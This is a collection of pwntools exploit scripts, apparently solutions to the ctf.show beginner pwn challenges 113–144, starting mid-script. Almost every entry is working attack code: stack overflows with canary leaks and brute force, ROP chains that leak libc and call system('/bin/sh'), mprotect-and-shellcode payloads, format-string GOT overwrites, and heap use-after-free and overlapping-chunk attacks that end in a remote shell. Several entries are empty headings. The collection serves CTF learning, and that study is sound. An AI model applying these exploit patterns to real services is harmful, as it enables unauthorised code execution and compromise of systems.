libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump('puts')
mprotect_addr = libc_base+libc.dump("mprotect")
pop_rdx = libc_base+0x1b96
pop_rsi = libc_base+0x23e6a
gets_addr = libc_base+libc.dump("gets")
print("libc_base:",hex(libc_base))

io.recvuntil(b">> ")
payload = b"A"*0x418+p8(0x28)+p64(pop_rdi_ret)+ p64(data)
payload += p64(gets_addr)+p64(pop_rdi_ret)+p64(data)
payload += p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)
payload += p64(7)+p64(mprotect_addr)+ p64(data)

io.sendline(payload)

getflag = asm(shellcraft.cat("/flag"))
io.sendline(getflag)

io.interactive()

pwn114

from pwn import *

io = remote("pwn.challenge.ctf.show",28290)

flagishere = 0xb94
io.recvuntil("Input 'Yes' or 'No': ")
io.sendline("Yes")

io.recvuntil("Tell me you want: ")
payload = b'a' * 0x100
io.sendline(payload)

io.interactive()

pwn115

from pwn import *
context.log_level = 'debug'
io = remote("pwn.challenge.ctf.show",28252)

backdoor = 0x80485a6
io.recvuntil("Try Bypass Me!")
payload = b'a' * 200
io.sendline(payload)
io.recvuntil(b'a' * 200)
canary = u32(io.recv(4)) - 0xa
print(hex(canary))

payload += p32(canary) 
payload += b'a' * 12 
payload += p32(backdoor)
io.sendline(payload)
io.interactive()

或通过格式化字符串

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28172)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

backdoor = 0x80485A6

io.recvuntil("Try Bypass Me!")
payload = b'%55$8x'
io.sendline(payload)
io.recv()
canary = int(io.recv(8),16)
print('canary:' + hex(canary))
payload = b'a' * 200 + p32(canary) + b'a' * 0xc + p32(backdoor)
io.sendline(payload)
io.interactive()

pwn116

from pwn import *
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28237)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

backdoor = 0x8048586

io.recvuntil("Look me & use me!")
payload = b'%15$8x'
io.sendline(payload)
io.recv()
canary = int(io.recv(8),16)

print('canary:' + hex(canary))
payload = b'a' * 32 + p32(canary) + b'a' * 0xc + p32(backdoor)
io.sendline(payload)
io.interactive()

pwn117

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28138)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.recvuntil('Haha,It has reduced you a lot of difficulty!')
payload = b'a' * 504 + p64(0x6020A0)
io.sendline(payload)
io.interactive()

pwn118

from pwn import *
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28250)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

stack_chk_fail_got = elf.got['__stack_chk_fail']
getflag = elf.sym['get_flag']
payload = fmtstr_payload(7,{stack_chk_fail_got:getflag})
payload = payload.ljust(0x50,b'a')
io.sendline(payload)
io.recv()

io.interactive()

pwn119

from pwn import *
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28122)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

backdoor=elf.sym['backdoor']
canary = b'\x00'
for i in range(3):
    for j in range(0,256):
        print("idx:"+str(i)+":"+chr(j))
        payload = b'a' * (0x70 - 0xC) + canary + bytes([j])
        io.send(payload)
        sleep(0.3)
        text = io.recv()
        print(text)
        if (b"stack smashing detected" not in text):
            canary += bytes([j])
            print(b"Canary:" + canary)
            break

payload = b'a' * (0x70 - 0xc) + canary + b'a' * 0xc + p32(backdoor)
io.send(payload)
io.recv()
io.interactive()

pwn120

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28258)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

poprdi = 0x400be3
poprsir15 = 0x400be1
bssaddr = 0x602010
leaveret = 0x40098c

payload = b'a' * 0x510 + p64(bssaddr - 0x8) 
payload += p64(poprdi) + p64(elf.got['puts']) + p64(elf.symbols['puts'])
payload += p64(poprdi) + p64(0) 
payload += p64(poprsir15) + p64(bssaddr) + p64(0) + p64(elf.symbols['read'])
payload += p64(leaveret)
payload = payload.ljust(0x1000,b'a')

io.recvuntil("How much do you want to send this time?\n")
io.sendline(str(0x1000))

io.send(payload)
io.recvuntil("See you next time!\n")
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libcbase = puts_addr - libc.symbols['puts']
shell = p64(libcbase + 0x4f302)
io.send(shell)
io.interactive()

pwn121


pwn122


pwn123

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show",28259)
elf = ELF('./pwn')
backdoor = elf.sym['init0']
offset = (0x34+0x4)/4

io.recvuntil("what's your name?")
io.sendline("123")

io.recvuntil("4 > dump all numbers")
io.recvuntil(" > ")
io.sendline("1")
io.recvuntil("Index to edit: ")
io.sendline(str(int(offset)))
io.recvuntil("How many? ")
io.sendline(str(backdoor))

io.recvuntil("4 > dump all numbers")
io.recvuntil(" > ")
io.sendline("0")

io.interactive()

pwn124

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show",28297)
elf = ELF('./pwn')

io.recvuntil("    * *************************************                           ")
io.sendline("CTFshowPWN")
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()

pwn125

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show",28303)
elf = ELF('./pwn')

system_addr = 0x400672
binsh = b"/bin/sh\x00"
io.recvuntil(b"    * *************************************                           ")
io.recvuntil(b"    * *************************************                           ")

payload = binsh
payload = payload.ljust(0x2008,b"\x00")
payload += p64(system_addr)

io.sendline(payload)

io.interactive()

pwn126

from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show",28226)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

offset = 0x40 + 8
ret_addr = 0x4004c6
pop_rdi_ret = 0x4007a3

io.recvuntil(b"Let's go")
payload = b'a' * offset + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload += p64(elf.sym['main'])
io.sendline(payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']

io.recvuntil(b"Let's go")
payload = b'a' * offset + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret_addr) + p64(system_addr)
io.sendline(payload)

io.interactive()

pwn127

from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show",28258)
elf = ELF('./pwn')
libc = ELF('/home/XC/桌面/ctf/Pwn/ctfshow-pwn入门/libc.so.6')

offset = 0x88
ret_addr = 0x4004fe
pop_rdi_ret = 0x400803

io.recvuntil(b"See you again!")
payload = b'a' * offset + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload += p64(elf.sym['main'])
io.sendline(payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']

io.recvuntil(b"See you again!")
payload = b'a' * offset + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret_addr) + p64(system_addr)
io.sendline(payload)

io.interactive()

pwn128

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
i = 0
while True:
    i += 1
    print(i)
    io = remote('pwn.challenge.ctf.show',28267)
    payload = b'a'*40
    payload += b'\xca'
    io.sendline(payload)
    payload = b'a'*200
    payload += b'\x01\x09'
    io.sendline(payload)
    try:
        io.recv(timeout = 1)
    except EOFError:
        io.close()
        continue
    else:
        sleep(0.1)
        io.sendline(b'/bin/sh\x00')
        sleep(0.1)
        io.interactive()
        break

pwn129


pwn130


pwn131


pwn132

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28270)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.sendline("CTFshow-daniu")
io.interactive()

pwn133

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28230)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.sendline("check")
io.interactive()

pwn134

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28192)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.sendline("Exit")
io.interactive()

堆利用-前置基础

pwn135

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28113)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.sendline("4")
io.interactive()

pwn136

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28301)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.sendline("4")
io.interactive()

pwn137

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28143)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.recvuntil("Program Break Location")
io.sendline("1")
io.recvuntil("Program Break Location")
io.sendline("1")
io.recvuntil("Program Break Location")
io.sendline("1")

io.interactive()

pwn138

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28215)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.sendline("1")
io.sendline("1")
io.sendline("1")

io.interactive()

pwn139

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28289)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.interactive()

pwn140

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28289)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

io.sendline("1")
io.sendline("1")
io.sendline("1")

io.interactive()

pwn141

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28253)
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

def add(size,content):
    io.recvuntil("choice :")
    io.sendline("1")
    io.recvuntil("Note size :")
    io.sendline(str(size))
    io.recvuntil("Content :")
    io.sendline(content)

def delete(index):
    io.recvuntil("choice :")
    io.sendline("2")
    io.recvuntil("Index :")
    io.sendline(str(index))

def output(index):
    io.recvuntil("choice :")
    io.sendline("3")
    io.recvuntil("Index :")
    io.sendline(str(index))

use_addr = elf.sym['use']

add(32,"aaaa")
add(32,"aaaa")

delete(0)
delete(1)

add(8,p32(use_addr))
output(0)

io.interactive()

pwn142

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28146)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def create(size,content):
    io.recvuntil("choice :")
    io.sendline("1")
    io.recvuntil(":")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)

def edit(idx,content):
    io.recvuntil("choice :")
    io.sendline("2")
    io.recvuntil(":")
    io.sendline(str(idx))
    io.recvuntil(":")
    io.sendline(content)

def show(idx):
    io.recvuntil("choice :")
    io.sendline("3")
    io.recvuntil(":")
    io.sendline(str(idx))

def delete(idx):
    io.recvuntil("choice :")
    io.sendline("4")
    io.recvuntil(":")
    io.sendline(str(idx))

create(0x18,"aaaa")
create(0x10,"bbbb")
#1
edit(0,"/bin/sh\x00"+"a"*0x10+"\x41")
delete(1)
create(0x30,p64(0)*4+p64(0x30)+p64(elf.got['free']))
show(1)
io.recvuntil("Content ")

free = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
libc_base = free - libc.symbols['free']
log.success('libc base addr:'+hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1,p64(system_addr))
delete(0)
io.interactive()

pwn143


pwn144